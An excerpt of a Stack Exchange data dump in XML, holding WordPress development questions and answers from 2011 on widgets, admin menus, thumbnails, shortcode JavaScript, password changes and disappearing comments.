  <row Id="9903" PostTypeId="1" AcceptedAnswerId="9954" CreationDate="2011-02-20T20:04:57.247" Score="0" ViewCount="349" Body="&lt;p&gt;Ok, I'm developing my own widget and I've a HUGE problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how to fetch and eventually save html selects value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* initialize TITLE */&#xA;function widget( $args, $instance ) {&#xA;        extract( $args );&#xA;        $title = apply_filters('widget_title', $instance['title'] );&#xA;&#xA;(...)&#xA;&#xA;/* update code for TITLE */&#xA;    function update( $new_instance, $old_instance ) {&#xA;        $instance = $old_instance;&#xA;        $instance['title'] = strip_tags( $new_instance['title'] );&#xA;&#xA;(...)&#xA;&#xA;/* creating TITLE field in widgets admin area */&#xA;&#xA; &amp;lt;p&amp;gt;&#xA;    &amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id( 'title' ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Title:', 'hybrid'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id( 'title' ); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name( 'title' ); ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo $instance['title']; ?&amp;gt;&quot; type=&quot;text&quot; style=&quot;width:100%;&quot; /&amp;gt;&#xA; &amp;lt;/p&amp;gt;&#xA;&#xA;(...)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OK. Now when I type &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $instance['title'] ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's going to show my title!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I have this list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id( 'example' ); ?&amp;gt; &quot;&amp;gt;&amp;lt;?php _e('Map type:', 'example'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;&amp;lt;select id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id( 'example' ); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id( 'example' ); ?&amp;gt;&quot;&amp;gt;&#xA;     &amp;lt;option value=&quot;supervalue&quot; selected=&quot;selected&quot;&amp;gt;Super Value&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $instance['example'] ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Gives NOTHING. I've been looking everywhere including default-widgets.php but I don't understand a word since all default plugins use mostly dynamically generated option lists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used only one item list, but in fact it's longer, I'm not sure how to save the selected element also, since I don't know how to access this element's value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? I spent the whole day on this, getting totally mad slowly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[edited]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't show you the update function because as I mentioned above I use the same update code for each function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; function update( $new_instance, $old_instance ) {&#xA;&#xA;    $instance = $old_instance;&#xA;    $instance['example'] = strip_tags( $new_instance['example'] );    &#xA;&#xA;    return $instance;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1869" LastEditorUserId="1869" LastEditorDisplayName="" LastEditDate="2011-02-21T10:53:51.690" LastActivityDate="2011-03-23T13:37:59.730" Title="Wordpress select dropdown list in widget" Tags="&lt;plugin-development&gt;&lt;widgets&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="9904" PostTypeId="2" ParentId="9901" CreationDate="2011-02-20T20:22:28.193" Score="0" ViewCount="" Body="&lt;p&gt;There is a plugin for that, it's called: Admin Menu Editor and you can download it here - &lt;a href=&quot;http://wordpress.org/extend/plugins/admin-menu-editor/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/admin-menu-editor/&lt;/a&gt; it is amazing. You can show and hide sub sections of menus and whole menus in the Wordpress admin, I use it all of the time to stop clients being able to change certain things and break the site.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-02-20T20:22:28.193" CommentCount="1" />
  <row Id="9905" PostTypeId="2" ParentId="9901" CreationDate="2011-02-20T20:27:17.090" Score="2" ViewCount="" Body="&lt;p&gt;If you would like to code it yourself, here is a good tutorial for customizing the Admin Menu. &lt;a href=&quot;http://sixrevisions.com/wordpress/how-to-customize-the-wordpress-admin-area/&quot; rel=&quot;nofollow&quot;&gt;http://sixrevisions.com/wordpress/how-to-customize-the-wordpress-admin-area/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copying from the tutorial, they remove the Editor sublink:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_editor_menu() {&#xA;    remove_action('admin_menu', '_add_themes_utility_last', 101);&#xA;}&#xA;add_action('_admin_menu', 'remove_editor_menu', 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;note: you need to know the function / action that displays it&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-02-20T20:27:17.090" CommentCount="1" />
  <row Id="9906" PostTypeId="2" ParentId="9899" CreationDate="2011-02-20T20:52:10.780" Score="1" ViewCount="" Body="&lt;p&gt;You should trigger the function on some other hook like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_multiple_post_thumbnails_from_plugin() {  &#xA;  new MultiPostThumbnails( array(  &#xA;         'label'     =&amp;gt; 'Thumbnail Image' &#xA;        ,'id'        =&amp;gt; 'video-thumbnail'&#xA;        ,'post_type' =&amp;gt; 'video'  &#xA;  ) );  &#xA;}  &#xA;add_action( 'admin_init', 'add_multiple_post_thumbnails_from_plugin' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-20T20:52:10.780" CommentCount="4" />
  <row Id="9908" PostTypeId="2" ParentId="6787" CreationDate="2011-02-20T22:46:49.200" Score="1" ViewCount="" Body="&lt;p&gt;I've created a file manager for client using the &quot;list yo files&quot; plugin.  You can find it in the repository, it's actively maintained and easy to use&lt;/p&gt;&#xA;" OwnerUserId="2026" LastActivityDate="2011-02-20T22:46:49.200" CommentCount="1" />
  <row Id="9909" PostTypeId="1" AcceptedAnswerId="9910" CreationDate="2011-02-20T22:55:40.487" Score="1" ViewCount="302" Body="&lt;p&gt;right now, a thumbnail will be &lt;em&gt;either&lt;/em&gt; 150px in height &lt;em&gt;or&lt;/em&gt; in width, depending if it's landscape or portrait. Is there a way to make them always the same width and scale them in height accordingly, without squaring them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind regards&lt;/p&gt;&#xA;" OwnerUserId="3323" LastActivityDate="2011-08-15T06:10:39.007" Title="How to create thumbnails with a fixed width, so all of them will have the same width?" Tags="&lt;post-thumbnails&gt;&lt;image-size&gt;&lt;3.1&gt;&lt;add-image-size&gt;&lt;set-post-thumbnail-size&gt;" AnswerCount="1" />
  <row Id="9910" PostTypeId="2" ParentId="9909" CreationDate="2011-02-20T23:06:04.383" Score="1" ViewCount="" Body="&lt;p&gt;Sorry. Guess I found an answer myself. Add in functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( function_exists( 'add_image_size' ) ) { &#xA;    add_image_size( 'post-icon', 150);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then use this in your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the_post_thumbnail('bericht-icoon');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3323" LastActivityDate="2011-02-20T23:06:04.383" CommentCount="1" />
  <row Id="9911" PostTypeId="1" AcceptedAnswerId="9933" CreationDate="2011-02-21T00:10:19.280" Score="1" ViewCount="53" Body="&lt;p&gt;I just imported my posts from blogger into wordpress. In doing this, the tags were converted to categories for some strange reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am now trying to convert them back into tag using wordpress' built in converter. However, whenever I click on the &quot;Category to tag converter&quot; link, it directs me to the import page &quot;/import.php&quot;. Is there anything i can do to rectify this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, could someone please copy the end of the URL for the converter tool's page, and paste it here so i can append it to my blog URL. Im guessing that could work meanwhile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers in advance..&lt;/p&gt;&#xA;" OwnerUserId="3342" LastActivityDate="2011-02-21T08:26:13.133" Title="Wordpress “Categories to tags converter” not working. Pointing to import.php instead" Tags="&lt;plugins&gt;&lt;categories&gt;&lt;tags&gt;" AnswerCount="1" />
  <row Id="9912" PostTypeId="1" AcceptedAnswerId="9913" CreationDate="2011-02-21T00:28:26.573" Score="0" ViewCount="402" Body="&lt;p&gt;I have a custom-post type with the standard meta boxes and some custom fields.  How could I edit a post through a form in the frontend?&lt;/p&gt;&#xA;" OwnerUserId="2107" LastActivityDate="2011-06-17T12:13:39.617" Title="Front end post editing using a form" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;editor&gt;&lt;front-end&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="9913" PostTypeId="2" ParentId="9912" CreationDate="2011-02-21T01:01:09.810" Score="2" ViewCount="" Body="&lt;p&gt;If you want to edit an existing post, try my &lt;a href=&quot;http://scribu.net/wordpress/front-end-editor&quot; rel=&quot;nofollow&quot;&gt;Front-end Editor&lt;/a&gt; plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to create new posts, try one of these:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/sidebar-post/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/sidebar-post/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/tdo-mini-forms/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/tdo-mini-forms/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.deliciousdays.com/cforms-plugin/&quot; rel=&quot;nofollow&quot;&gt;http://www.deliciousdays.com/cforms-plugin/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/posthaste&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/posthaste&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-02-21T01:01:09.810" CommentCount="4" />
  <row Id="9914" PostTypeId="1" AcceptedAnswerId="9956" CreationDate="2011-02-21T01:09:04.770" Score="1" ViewCount="187" Body="&lt;p&gt;I've added some code to my templates which automatically adds custom fields to cache some data that each post pulls in. Is there a way that I can track how many posts have had this custom field set?&lt;/p&gt;&#xA;" OwnerUserId="2301" LastActivityDate="2011-02-22T00:11:18.593" Title="Count how many posts have a custom field set" Tags="&lt;custom-field&gt;&lt;query&gt;" AnswerCount="2" />
  <row Id="9915" PostTypeId="1" CreationDate="2011-02-21T01:16:31.477" Score="3" ViewCount="293" Body="&lt;p&gt;I have a Roster page which contains two sections. The first section contains the artist with their pictures, short bios, and website links; and the second section contains the combined videos of every artist in the roster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar to this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/X9tER.jpg&quot; alt=&quot;roster&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally, I'd create two separate post types; one for 'artist' and another for 'artist videos' but I was wondering if there was a way I can somehow combine the two? So in the admin panel, it would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/DRVf5.jpg&quot; alt=&quot;admin&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If possible, how would I go about doing this? Or am I over-thinking this (as I often do) and is there an easier way?&lt;/p&gt;&#xA;" OwnerUserId="3239" LastEditorUserId="3239" LastEditorDisplayName="" LastEditDate="2011-02-21T01:22:54.337" LastActivityDate="2011-08-04T08:48:35.530" Title="Possible to combine two custom post types?" Tags="&lt;custom-post-types&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="9916" PostTypeId="1" CreationDate="2011-02-21T01:20:21.363" Score="0" ViewCount="235" Body="&lt;p&gt;I am trying to create this plugin for my site that will allow create short codes to pull data from the iTunes Search SDK.  I already have the iTunes Search SDK javascript plugin working that pulls the data from the search SDK but I am running into an issue with placing the required javascript into the shortcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I have looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action('init', 'peb_init');&#xA;&#xA;function peb_init() {&#xA;    add_action('admin_head', 'peb_admin_head');&#xA;}&#xA;&#xA;function peb_admin_head() {&#xA;    echo '&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;';&#xA;    require_once('https://ajax.googleapis.com/ajax/libs/jquery/1.5.0/jquery.js');&#xA;    require_once('js.php');&#xA;    echo '&amp;lt;/script&amp;gt;';&#xA;}&#xA;&#xA;&#xA;add_filter('widget_text', 'do_shortcode');&#xA;&#xA;add_shortcode('appPrice', 'appPrice');&#xA;function appPrice($atts) &#xA;{&#xA;    $atts = shortcode_atts(&#xA;        array(&#xA;            'id' =&amp;gt; '',&#xA;            'class' =&amp;gt; '',&#xA;            'container' =&amp;gt; ''&#xA;    ), $atts);&#xA;    return '&#xA;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    $(document).ready(function() {&#xA;        var url = 'iLookup.php';&#xA;&#xA;            query = $id;&#xA;&#xA;            $.getJSON(url, {id:query}, function(json) {&#xA;            $('#results').html('Price: '+json.results[0].price+'&amp;lt;br/&amp;gt;');&#xA;            });&#xA;&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;    ';&#xA;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If anyone has any ideas as to why this doesn't work I would be very appreciative.  If there is not enough info given I will be glad to provide more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: There is no error message it just doesn't work. I have tried using the console log and it still doesn't work. The rest of the plugin works fine with the exception of the script.&lt;/p&gt;&#xA;" OwnerUserId="1516" LastEditorUserId="1516" LastEditorDisplayName="" LastEditDate="2011-02-21T02:35:20.437" LastActivityDate="2011-02-21T20:06:22.567" Title="Problem with running javascript in a shortcode" Tags="&lt;errors&gt;&lt;javascript&gt;&lt;shortcode&gt;" AnswerCount="4" CommentCount="4" />
  <row Id="9917" PostTypeId="2" ParentId="9915" CreationDate="2011-02-21T01:24:18.440" Score="0" ViewCount="" Body="&lt;p&gt;Don't quite know if i get you right, but you could make one hierarchical post type and then diversify either by level in the hierarchy or by some meta value you add.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: To rephrase, you simply create an 'ArtistOrVideo' post type, so to speak, and make it hierarchical. It represents both. The first level (post_parent=0) you always treat as an Artist. The second level (post_parent points to a post with post_parent = 0) you always treat as a video. You can then react in your metabox-callback to that as well and create the Artist metabox for post_parent=0 posts and the video metabox for the others. I'm pretty sure you can take this through the whole application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the canonical alternative at hand is: Can't you create an 'Artists' Taxonomy instead?&lt;/p&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="3104" LastEditorDisplayName="" LastEditDate="2011-02-21T12:06:45.737" LastActivityDate="2011-02-21T12:06:45.737" CommentCount="2" />
  <row Id="9919" PostTypeId="1" AcceptedAnswerId="9920" CreationDate="2011-02-21T01:53:08.000" Score="2" ViewCount="188" Body="&lt;p&gt;I am trying to create a totally different profile page (not the one provided by Wordpress), since the layout and feel of the default profile page is too &quot;Wordpress&quot; for the users. Now I am successful in being able to present a page that can modify user meta data like firstname, lastname, city, zip code, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now what stumped me is changing the password of the user. Is there any built-in wordpress function, say change_user_password($user_id, $new_password)? I'm surprised that I can't look for anything that does this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Worse comes to worst I'm doing an &lt;code&gt;UPDATE wp_users SET user_pass = md5($new_password) WHERE ID = $user_id&lt;/code&gt;, but I would be really amazed if there is no function for this one.&lt;/p&gt;&#xA;" OwnerUserId="2630" LastActivityDate="2011-02-21T10:08:38.747" Title="How to change a user's password programatically" Tags="&lt;plugins&gt;&lt;plugin-development&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="9920" PostTypeId="2" ParentId="9919" CreationDate="2011-02-21T02:12:39.177" Score="4" ViewCount="" Body="&lt;p&gt;A simple &lt;code&gt;wp_update_user(array('ID' =&amp;gt; $userid, 'user_pass' =&amp;gt; 'myNeWpaSSword'))&lt;/code&gt; will do everything for you - &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_update_user&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_update_user()&lt;/code&gt; (Codex)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a sidenote: are you aware of the &lt;a href=&quot;http://wordpress.org/extend/plugins/theme-my-login/&quot; rel=&quot;nofollow&quot;&gt;Theme My Login (Wordpress Plugin)&lt;/a&gt;? It can provide you with a front-end side profile page.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-21T10:08:38.747" LastActivityDate="2011-02-21T10:08:38.747" CommentCount="1" />
  <row Id="9922" PostTypeId="2" ParentId="4892" CreationDate="2011-02-21T03:07:30.807" Score="1" ViewCount="" Body="&lt;p&gt;First off --&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When including Javascript, use a function hooked to the init action in functions.php. See:&#xA;&lt;a href=&quot;http://scribu.net/wordpress/optimal-script-loading.html&quot; rel=&quot;nofollow&quot;&gt;http://scribu.net/wordpress/optimal-script-loading.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly --&#xA;The CSS for the BP bar is being effected by something in your theme. If fixing how your Javascript is loading first doesn't fix that issue, try selecting that object in Firebug (Or Chrome's developer tools) and seeing whether any files other than style-adminbar.css are effecting it. It's likely you have some reused CSS class names somewhere.&lt;/p&gt;&#xA;" OwnerUserId="1682" LastActivityDate="2011-02-21T03:07:30.807" />
  <row Id="9924" PostTypeId="2" ParentId="2722" CreationDate="2011-02-21T04:44:16.490" Score="1" ViewCount="" Body="&lt;p&gt;I wrote a tutorial about this on my blog:&#xA;&lt;a href=&quot;http://www.alexhager.at/how-to-integrate-salesforce-in-contact-form-7/&quot; rel=&quot;nofollow&quot;&gt;how to integrate salesforce in contact form 7&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2011-02-21T04:44:16.490" />
  <row Id="9925" PostTypeId="2" ParentId="9916" CreationDate="2011-02-21T05:11:39.420" Score="1" ViewCount="" Body="&lt;p&gt;I'm guessing it's because you didn't escape the single quotes. Try using output buffering, the code is more readable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function appPrice($atts) &#xA;{&#xA;    extract(shortcode_atts(&#xA;        array(&#xA;            'id' =&amp;gt; '',&#xA;            'class' =&amp;gt; '',&#xA;            'container' =&amp;gt; ''&#xA;    ), $atts));&#xA;    ob_start();&#xA;    ?&amp;gt;&#xA;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    $(document).ready(function() {&#xA;        var url = 'iLookup.php';&#xA;&#xA;            query = &amp;lt;?php echo $id; ?&amp;gt;;&#xA;&#xA;            $.getJSON(url, {id:query}, function(json) {&#xA;            $('#results').html('Price: '+json.results[0].price+'&amp;lt;br/&amp;gt;');&#xA;            });&#xA;&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;    &amp;lt;?php&#xA;    return ob_get_clean();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also the way you're loading jquery is weird. why not:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; wp_deregister_script('jquery');&#xA; wp_register_script('jquery', (&quot;http://ajax.googleapis.com/ajax/libs/jquery/1.5.0/jquery.min.js&quot;), false, '1.5.0');&#xA; wp_enqueue_script('jquery');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2011-02-21T18:01:15.840" LastActivityDate="2011-02-21T18:01:15.840" CommentCount="4" />
  <row Id="9926" PostTypeId="1" AcceptedAnswerId="21206" CreationDate="2011-02-21T05:11:45.737" Score="0" ViewCount="60" Body="&lt;p&gt;I built my first plugin and after a bumpy start got my plugin downloadable from the WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my plugin's stats page it version 1.2.0 is the only active version in the pie chart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://wordpress.org/extend/plugins/content-types-wordpress-plugin/stats&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/content-types-wordpress-plugin/stats&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is that?&lt;/p&gt;&#xA;" OwnerUserId="2782" LastActivityDate="2011-07-03T18:14:13.447" Title="First Wordpress Plugin - Stat Issues" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;stats&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="9927" PostTypeId="2" ParentId="9926" CreationDate="2011-02-21T05:30:06.947" Score="2" ViewCount="" Body="&lt;p&gt;The statistics are way behind the real usage. They may take a week or two to catch up. Just be patient and don’t look to much at the numbers. Real people’s feedback is more important – and more useful.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-02-21T05:30:06.947" CommentCount="1" />
  <row Id="9928" PostTypeId="2" ParentId="9916" CreationDate="2011-02-21T05:34:01.500" Score="2" ViewCount="" Body="&lt;p&gt;jQuery is running in &lt;a href=&quot;http://docs.jquery.com/Using_jQuery_with_Other_Libraries&quot; rel=&quot;nofollow&quot;&gt;compatibility mode&lt;/a&gt; in WP. Instead of …&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() {}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;… use …&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-02-21T05:34:01.500" CommentCount="1" />
  <row Id="9929" PostTypeId="1" AcceptedAnswerId="9934" CreationDate="2011-02-21T05:49:13.323" Score="1" ViewCount="273" Body="&lt;p&gt;I saw some other similar threads but they were all for YouTube videos. I was wondering if the same could be done for videos hosted on other servers like blip. Here is an example of a blip video: &lt;a href=&quot;http://blip.tv/file/4778330&quot; rel=&quot;nofollow&quot;&gt;http://blip.tv/file/4778330&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how I currently have things set up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom post type for Videos with a meta box for the src (video_src) from the embed code so all I have to do is enter the src and it gets displayed from my &lt;code&gt;single-videos.php&lt;/code&gt; template like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;embed src=&quot;&amp;lt;?=$video_src?&amp;gt;&quot; type=&quot;application/x-shockwave-flash&quot; width=&quot;400&quot; height=&quot;200&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;true&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be awesome if somehow a frame of the video became the featured thumbnail of its post. Any idea on how something like this could be done?&lt;/p&gt;&#xA;" OwnerUserId="3239" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-22T11:17:48.770" LastActivityDate="2011-02-22T17:06:36.617" Title="Getting a thumbnail for an external video as the thumbnail for a custom post type?" Tags="&lt;custom-post-types&gt;&lt;videos&gt;" AnswerCount="4" FavoriteCount="2" />
  <row Id="9930" PostTypeId="1" CreationDate="2011-02-21T06:18:17.480" Score="0" ViewCount="75" Body="&lt;p&gt;The site in question is chinaSMACK.com, which is reasonably large and heavily trafficked. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.chinasmack.com/2011/announcements/note-commenting-problem-affecting-certain-commenters.html&quot; rel=&quot;nofollow&quot;&gt;Post by editor describing the problem.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/support/topic/certain-commenters-comments-disappearing-can-no-longer-comment-not-spammed?replies=1&quot; rel=&quot;nofollow&quot;&gt;A longer post detailing the entire story on WordPress support forums.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The problem:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Certain (not all, just a few) commenters have discovered that their new comments are not appearing after they submit them or they appear very briefly and then disappear (say after a page refresh).&lt;/li&gt;&#xA;&lt;li&gt;It is then discovered that all of their old comments submitted under the same &quot;name&quot; (email address and the same name appearing in the content of the comment doesn't seem to matter) have also disappeared.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What we've tried:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Upon checking the WordPress admin area, none of their comments can be found. They're not in All, not in Pending, not in Spam, nor in Trash. All comments made by others in response to their missing comments now show up as &quot;In reply to .&quot; (which is normal if you delete a parent comment).&lt;/li&gt;&#xA;&lt;li&gt;Upon checking the MySQL tables using phpMyAdmin, again none of their comments can be found. They've all vanished. We searched and even manually checked the rows.&lt;/li&gt;&#xA;&lt;li&gt;Upon test commenting under their names, we notice that the comment will submit without problems (as in, no WordPress error message pops up like &quot;comment too short&quot;). If we immediately refresh the WordPress comments admin page, their comment will sometimes even appear but within seconds (and a refresh), the comment will also then vanish. This suggests that the comment is getting into the system but then something is immediately deleting it.&lt;/li&gt;&#xA;&lt;li&gt;We've repeatedly checked our WordPress admin moderation and spam lists but none of these handful of commenters are on them. Even if they were, their new comments should appear in the Pending or Spam folders, not just completely vanish. Moreover, this also wouldn't cause all of their old comments to vanish.&lt;/li&gt;&#xA;&lt;li&gt;We've checked all plugins that might affect comments (i.e. WP-SpamFree) and none them have seem to be capable of causing this problem. We even looked through their code to see if anything matched these people's names. Nothing.&lt;/li&gt;&#xA;&lt;li&gt;We've searched online (Google, WordPress Support Forums, here) as best we can to see if anyone else have experienced this problem but haven't found anything matching.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If it helps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;None of the commenters affected are registered user accounts in our WordPress install. We don't require commenters to register. &lt;/li&gt;&#xA;&lt;li&gt;They can comment normally if they just change the name they comment under, so the name appears to be the trigger. &lt;/li&gt;&#xA;&lt;li&gt;This affected some commenters last year and has recently in the past few days again occurred. Last year, at least 3 commenters reported this happening to them, and this time only 1. However, we don't know just how many were or are actually affected because there may be commenters who don't comment regularly or don't check their old comments in old posts. For all we know, there may be a lot of people (&quot;names&quot;) who are affected but never returned to comment again or never bothered to complain (thinking maybe we banned them) and thus we don't know about them. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The question: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What in the hell could be causing this problem where a) commenting under a nickname results in that comment submitting but then vanishing, and b) all old comments made under that same nickname one day suddenly vanishes completely?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There's really no other way to ask this question. This is a beg for help from anyone who might have any clue as to what the hell is going on. We thank anyone in advance if they can offer answers and assistance. &lt;/p&gt;&#xA;" OwnerUserId="3347" LastActivityDate="2011-06-14T04:01:55.847" Title="Certain commenters suddenly can't post new comments &amp; all their old comments have vanished!" Tags="&lt;comments&gt;&lt;moderation&gt;" CommentCount="12" />
